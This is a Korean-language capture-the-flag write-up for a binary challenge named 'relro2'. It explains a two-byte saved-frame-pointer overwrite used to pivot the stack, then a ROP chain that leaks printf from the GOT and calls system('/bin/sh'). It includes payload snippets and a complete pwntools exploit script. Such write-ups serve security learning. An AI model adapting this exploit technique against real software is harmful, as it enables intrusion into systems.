
relro1과 마찬가지로 Full relro와 NX만 켜져있다.


ida로 까봤다. main함수에서는 r2(내가 이름 정해줌) 함수만 호출하고 있고, r2 함수 내부에는 buf를 0x100만큼 선언하고 buf의 주소를 출력, read로 0x102만큼 입력받고 있다.
원래 크기보다 0x2만 더 받고 있으니 sfp의 일부만 덮는 방법을 생각해야 할 것 같다. 기존의 r2의 sfp에는 main의 sfp 주소를 담고 있으니 이것의 끝 2자리를 바꾸면 rbp를 주변의 다른 곳으로 옮길 수 있을 것이다.


좀 더 정확히 알기 위해 어셈블리까지 확인했다. main 함수에 0x10만큼 뭔지 모르는 값이 추가되는 것도 확인했다.
가장 먼저, buf의 주소를 출력해주니 이를 저장할 수 있다. buf의 하위 2byte만 남기고 이것으로 r2의 sfp를 덮으면 rbp가 이동하는 곳을 덮을 수 있다.
이것만 하면 함수가 바로 종료되버린다. 따라서 우리는 함수의 흐름도 바꿔줄 필요가 있다.
buf에 입력할 때 rop를 할 수 있도록 해보자. 우리는 r2의 sfp 일부만 덮을 수 있기에, 이렇게 하기 위해서는 main 함수의 도움이 필요하다.
r2의 sfp를 buf의 주소가 되도록 하위 2바이트를 덮으면 main으로 돌아갈 때 rbp는 buf를 가리키고 있다. 그 다음 main의 leave, ret이 실행되면 buf의 주소에 있는 값을 rbp로 정하고 그 아래 8byte 값으로 jmp하게 된다. 따라서 buf를 채울 때 맨 앞은 다음 rbp로 채우고, libc_base를 구하기 위한 rop 코드를 채우고, 그 다음으로 실행할 코드 주소, 더미, sfp 변조를 위한 2byte를 보내면 된다.
r2_buf = int(p.recvline().strip(), 16)
log.info('leak data 1- '+hex(r2_buf))
low=r2_buf & 0xffff
log.info('low bytes - '+hex(low))
payload= p64(r2_buf + 0x100)
payload+= p64(p_rdi) + p64(printf_got)
payload+= p64(ret)
payload+= p64(printf_plt)
payload+= p64(ret)
payload+= p64(r2_read)
payload+= p64(leave_ret)
payload+= b'A' * (0x100 - len(payload))
payload+= p64(low)
pause()
p.send(payload)
leak=u64(p.recvuntil(b"x7f")[-6:].ljust(8,b"x00"))
log.info('leak data - '+hex(leak))
libc_base=leak - printf_offset
log.info('libc_base - '+hex(libc_base))
system= libc_base + system_offset
binsh= libc_base + binsh_offset
코드로 구현한 것이다. 다음 rbp는 r2의 sfp를 가리키도록 했고, 다음으로 실행하는 함수는 r2의 read부분부터(함수 프로롤그는 건너뛰고, buf 주소 출력도 건너뜀.)로 하였다.
이렇게 libc_base의 값을 구해서 필요한 나머지 값들도 구해주고, 이제 read 함수를 다시 한번 실행할 수 있으니 dummy 8byte, pop rdi;ret, /bin/sh 주소, system 주소 순으로 덮고, 아까 했던 것과 마찬가지로 해서 main의 leave;ret 실행 후 함수 흐름이 buf로 옮겨질 수 있도록 했다.
그런데 여기서 문제가 생겼다. read 함수가 syscall을 할 때 계속 No argument라고 하며 내 입력을 받지 않는 것이다;;

그래서 여러 경우를 다시 시도해봤다. 아무래도 내가 바꿀 수 있는 것은 다음 함수 흐름이 어디로 가는지 였기에 (libc를 출력하는 것은 아무리 생각해도 맞는 것 같았다..) 한번 r2의 맨 앞으로도 가보고, 아예 main의 맨 앞으로 가서 setvbuf 함수까지 실행하도록 해보고 다 했다! 그런데도 계속 실패하고 말았다… 문제가 뭔지 모르겠다…
잘려고 누웠는데 방법이 떠올랐다! 계속 함수가 터지던 이유는 아무래도 처음 read 입력을 보낼 때 0x108byte를 보내도 알아서 0x102byte로 잘라주겠지 하고 그냥 0x108byte를 보냈다! 아마도 이거 때문에 문제가 생긴 것 같다.
따라서 p64(r2_buf)[0:2]로 잘라주었다.
그리고 rbp,rsp를 정교하게 설정해주기 귀찮아서 다시 main 함수로 돌아갔더니, pritnf에서 alignment 문제 때문인지 계속 터져버렸다. 그래서 ret으로 마무리하는 함수 부분으로 돌아가게 하고, payload에서 다음 부분에 main 함수를 넣어주었다. 이렇게 했더니 printf가 정상적으로 실행되었다.
그 다음 payload는 전에 했던 것과 동일하게 sfp를 변조하여 ret시 buf를 가리키도록 만들어주었다. (스택 프레임이 새롭게 생겼기에 새로 출력해준 buf 주소를 다시 leak해서 그걸로 덮어야한다.)
##################################### Round 2 #####################################
r2_buf = int(p.recvline().strip(), 16)
log.info('leak data 2- '+hex(r2_buf))
low=r2_buf & 0xffff
log.info('low bytes - '+hex(low))
payload= b'B' * 0x8
payload+= p64(p_rdi) + p64(binsh)
payload+= p64(ret)
payload+= p64(system)
payload+= b'B' * (0x100 - len(payload))
payload+= p64(low)[0:2]
pause()
p.send(payload)
전체 익스 코드는 다음과 같다.
from pwn import *
#context.log_level = 'debug'
p = process('./relro2')
e= ELF('./relro2')
libc= ELF('/lib/x86_64-linux-gnu/libc.so.6')
p_rdi=0x401293
leave_ret=0x4011ba
ret=0x40101a
printf_plt=e.plt['printf']
printf_got=e.got['printf']
printf_offset=libc.symbols['printf']
system_offset=libc.symbols['system']
binsh_offset=next(libc.search(b"/bin/sh"))
bss=0x404010 + 0x700
main=0x4011c0
next=0x401170
#next=0x4011a0
##################################### Round 1 #####################################
#r2_buf= u64(p.recv(6).ljust(8,b"x00"))
r2_buf = int(p.recvline().strip(), 16)
log.info('leak data 1- '+hex(r2_buf))
low=r2_buf & 0xffff
log.info('low bytes - '+hex(low))
payload= p64(r2_buf + 0x100)
payload+= p64(p_rdi) + p64(printf_got)
payload+= p64(ret)
payload+= p64(printf_plt)
payload+= p64(next)
payload+= p64(main)
payload+= b'A' * (0x100 - len(payload))
payload+= p64(low)[0:2]
pause()
p.send(payload)
leak=u64(p.recvuntil(b"x7f")[-6:].ljust(8,b"x00"))
log.info('leak data - '+hex(leak))
libc_base=leak - printf_offset
log.info('libc_base - '+hex(libc_base))
system= libc_base + system_offset
binsh= libc_base + binsh_offset
##################################### Round 2 #####################################
r2_buf = int(p.recvline().strip(), 16)
log.info('leak data 2- '+hex(r2_buf))
low=r2_buf & 0xffff
log.info('low bytes - '+hex(low))
payload= b'B' * 0x8
payload+= p64(p_rdi) + p64(binsh)
payload+= p64(ret)
payload+= p64(system)
payload+= b'B' * (0x100 - len(payload))
payload+= p64(low)[0:2]
pause()
p.send(payload)
p.interactive()

exploit 구조까지 정리해보았다.

쉘 따기 성공!